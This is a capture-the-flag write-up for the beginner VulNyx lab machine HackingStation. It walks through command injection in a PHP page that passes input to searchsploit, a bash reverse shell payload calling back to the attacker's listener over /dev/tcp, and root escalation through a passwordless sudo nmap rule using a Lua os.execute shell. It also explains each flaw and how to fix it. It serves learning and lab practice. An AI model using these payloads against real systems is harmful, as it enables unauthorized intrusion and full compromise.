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VulNyx: HackingStation
Summary
In this post we are going to see the writeup of the machine HackingStation from VulNyx. It’s a low machine created by HackCommander (yeah, it’s me 
) made in PHP without framework and especially designed for beginners. We are going to get access to the machine through a command injection in a web and then to escalate privileges through the nmap binary, which is allowed to run as superuser without password.
1. Port and service scanning
After running a port scan
┌──(hackcommander㉿kali)-[~]
└─$ nmap -p- -Pn --min-rate 10000 10.0.2.17
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-30 21:39 CET
Nmap scan report for 10.0.2.17
Host is up (0.00010s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 1.00 seconds
we can see that the port 80 is open and therefore there is a web. Now running a service scan
┌──(hackcommander㉿kali)-[~]
└─$ nmap -p 80 -sCV 10.0.2.17
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-30 21:39 CET
Nmap scan report for 10.0.2.17
Host is up (0.00029s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: HackingStation
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.32 seconds
we can see that there is a webserver Apache httpd 2.4.57 running on Debian, but before looking for CVEs it is better to take a look at the web.
2. Gaining access
2.1. Detecting the command injection
After accessing the web in http://10.0.2.17/, we can see that there is an exploit search functionality.
For example, searching the term Liferay, yields the following result
The output is a list of exploits for the product Liferay, but it seems to be a functionality under development because the result is not well formatted. Also considering that the word searchsploit appears in the output, it seems quite likely that the site is running the searchsploit console tool in the backend.
If this is happening and the backend doesn’t sanitize the input data, there could be a command injection. During command injection exploitation it is very common to attempt to concatenate commands with the character ;. In this case, the following input
Liferay;whoami
yields the following result
The result contains at the end the word hacker, which must be the user with which is running the application, so it is confirmed that the web is vulnerable to command injection.
2.2. Getting a shell as hacker
Now is the time to get a shell. First we set up a listener on the attacking machine on port 8000 using the command
nc -nlvp 8000
and then send the following payload
Liferay;bash -c 'bash -i >& /dev/tcp/10.0.2.15/8000 0>&1'
After this, we get a shell with the hacker user and that the user flag is in /home/hacker/user.txt.
┌──(hackcommander㉿kali)-[~]
└─$ nc -nlvp 8000
listening on [any] 8000 ...
connect to [10.0.2.15] from (UNKNOWN) [10.0.2.17] 56646
bash: cannot set terminal process group (508): Inappropriate ioctl for device
bash: no job control in this shell
hacker@HackingStation:/var/www/html$ whoami
whoami
hacker
hacker@HackingStation:/var/www/html$ cd /home/hacker
cd /home/hacker
hacker@HackingStation:/home/hacker$ ls
ls
snap
user.txt
2.3. Why does this command injection exist?
As we saw in the captures above, the vulnerability is in the script exploitQuery.php. If we check the content of the script
hacker@HackingStation:/home/hacker$ cd /var/www/html
cd /var/www/html
hacker@HackingStation:/var/www/html$ ls
ls
exploitQuery.php
hacker.jpg
index.html
hacker@HackingStation:/var/www/html$ cat exploitQuery.php
cat exploitQuery.php
<?php
exec('searchsploit -wj ' . $_GET['product'], $results);
$json_string = json_encode($results, JSON_PRETTY_PRINT);
echo '<pre>' . $json_string . '</pre>';
?>
we can see that the product parameter is passed without sanitization to an exec PHP function, so there is a command injection. For example, when we send the payload
Liferay
the backend executes the following command
searchsploit -wj Liferay
However, when we send the following payload
Liferay;whoami
the backend executes the following commands
searchsploit -wj Liferay;whoami
In this way, first is executed the command searchsploit -wj Liferay and then the command whoami.
It is not recommended to use functions to execute system commands, and if there is no other option, it is mandatory to validate or sanitize the input before passing it to the function.
3. Privilege escalation
3.1. Detecting the nmap vulnerability
After examining the home directory of the hacker user, there is nothing unusual or suspicious. Returning to the web index we can see that it says the following message
Coming soon to HackingStation... NMAP!!!!!
Nmap requires superuser permissions for certain use cases so it wouldn’t be strange that, if they are working on developing some web functionality with nmap, they left some misconfigurations about the nmap binary.
The following command
sudo -l
checks the /etc/sudoers file (or any other file specified by the sudoers configuration) to determine what commands and actions are allowed to be executed with elevated privileges via sudo. The result of this command is
hacker@HackingStation:/home/hacker$ sudo -l
sudo -l
Matching Defaults entries for hacker on HackingStation:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User hacker may run the following commands on HackingStation:
(root) NOPASSWD: /usr/bin/nmap
so we can execute nmap as root with sudo without password. This doesn’t sound very safe.
3.2. Getting a shell as root
Searching in GTFOBins we get the following result
Checking the version of nmap
hacker@HackingStation:/home/hacker$ nmap -V
nmap -V
Nmap version 7.93 ( https://nmap.org )
Platform: x86_64-pc-linux-gnu
Compiled with: liblua-5.3.6 openssl-3.0.11 libssh2-1.10.0 libz-1.2.13 libpcre-8.39 libpcap-1.10.3 nmap-libdnet-1.12 ipv6
Compiled without:
Available nsock engines: epoll poll select
we can see that the installed nmap is in version 7.93, so interactive mode is not available. This means that the second method is not applicable in this case.
On the other hand, the first method is based on nmap functionality to execute scripts written in Lua. So executing that commands we get the following result
hacker@HackingStation:/home/hacker$ TF=$(mktemp)
TF=$(mktemp)
hacker@HackingStation:/home/hacker$ echo 'os.execute("/bin/sh")' > $TF
echo 'os.execute("/bin/sh")' > $TF
hacker@HackingStation:/home/hacker$ sudo nmap --script=$TF
sudo nmap --script=$TF
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-31 01:54 CET
NSE: Warning: Loading '/tmp/tmp.YUNY6mz4mx' -- the recommended file extension is '.nse'.
whoami
root
cd /root
ls
root.txt
snap
We can see that we got a shell with the root user and that the root flag is in /root/root.txt.
3.3. Why does this privilege escalation via nmap exist?
The function os.execute in Lua allows the execution of operating system commands, so the following Lua code
os.execute("/bin/sh")
is essentially a shell. When this Lua code is executed through nmap, a shell will be invoked with the same user that executed nmap. In this case, if nmap is executed without sudo, we get a shell with the hacker user, but if we execute nmap with sudo, we get a shell with the root user.
We can see this in the following root processes with PIDs from 1137 to 1140
where 1140 is the PID of the current root shell.